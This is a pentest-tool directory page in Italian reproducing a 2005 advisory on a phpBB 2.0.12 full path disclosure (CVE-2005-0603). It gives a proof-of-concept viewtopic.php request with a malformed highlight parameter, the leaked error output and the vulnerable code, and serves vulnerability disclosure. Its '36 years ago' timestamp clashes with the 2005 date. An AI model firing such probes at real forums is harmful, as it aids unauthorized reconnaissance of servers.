Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2005-0603-phpBB-2.0.12-Full-path-disclosure — Exploit proof-of-concept per CVE-2005-0603, che dimostra una vulnerabilità di divulgazione del percorso completo in phpBB 2.0.12 tramite un regex realizzato ad hoc nel parametro highlight di viewtopic.php. | Kitploit
Strumenti/GitHubGitHub/parcer0/cve-2005-0603-phpbb-2.0.12-full-path-disclosure
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration Testing
GitHubparcer0/cve-2005-0603-phpbb-2.0.12-full-path-disclosure

CVE-2005-0603-phpBB-2.0.12-Full-path-disclosure

Exploit proof-of-concept per CVE-2005-0603, che dimostra una vulnerabilità di divulgazione del percorso completo in phpBB 2.0.12 tramite un regex realizzato ad hoc nel parametro highlight di viewtopic.php.

Vedi Repository
36 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0603

[N]eo [S]ecurity [T]eam [NST]® - Avviso #06 - 25/02/05

Programma: phpBB 2.0.12 Homepage: http://www.phpbb.com Versioni vulnerabili: phpBB 2.0.12 e versioni precedenti Rischio: Basso rischio!! Impatto: Divulgazione del percorso completo

  -==phpBB 2.0.12 Divulgazione del percorso completo==-
  • Descrizione

phpBB è un pacchetto per forum open source potente, completamente scalabile e altamente personalizzabile. phpBB ha un'interfaccia intuitiva, un pannello di amministrazione semplice e diretto, e una FAQ utile. Basato sul potente linguaggio server PHP e sulla scelta di database MySQL, MS-SQL, PostgreSQL o Access/ODBC, phpBB è la soluzione comunitaria gratuita ideale per tutti i siti web.

  • Testato

localhost e molti forum

  • Sfruttamento

phpBB/viewtopic.php?p=6&highlight=[HaCkZaTaN]

Verrà fuori qualcosa del genere.

Warning: Compilation failed: missing terminating ] for character class at offset 20 in /home/nst/forum/viewtopic.php(1110) : regexp code on line 1

Darà una divulgazione del percorso completo e anche una cosa che ho notato è che i post cambiano, non viene fuori nulla. Nella variabile HighLight

Ecco il problema: -----[ Start Vuln Code ] ------------------------------------

1106: if ($highlight_match) 1107: { 1108: // This was shamelessly 'borrowed' from volker at multiartstudio dot de 1109: // via php.net's annotated manual 1110: $message = str_replace('"', '"',
substr(preg_replace('#(>(((?>([^><]+|(?R)))*)<))#se', "preg_replace('#\b(" .
$highlight_match . ")\b#i', '<span style="color:#" . $theme['fontcolor3'] .
"">\\1', '\0')", '>' . $message . '<'), 1, -1)); 1111: }

-----[ Ends Vulns Code ] ------------------------------------ Non prendere in prestito roba lol.

  • Exploit

Non ancora xD

  • Soluzioni

Non ancora xD

OK un'altra cosa che ho notato era in php.ini

magic_quotes_gpc = On magic_quotes_sybase = Off

è necessario attivarli entrambi su ON

  • Riferimenti

http://neossecurity.net/Advisories/Advisory-06.txt

  • Crediti

Scoperto da HaCkZaTaN [email protected]

[N]eo [S]ecurity [T]eam [NST]® - http://neossecurity.net/

Hai domande? http://neossecurity.net/

Irc.InfoGroup.cl #neosecurityteam

  • Saluti
       Paisterist
       T0wn3r
   Heap
       Nitrous
       CrashCool
       eL_mEsIaS
       Makoki

       E la mia gente colombiana
Scarica lo strumento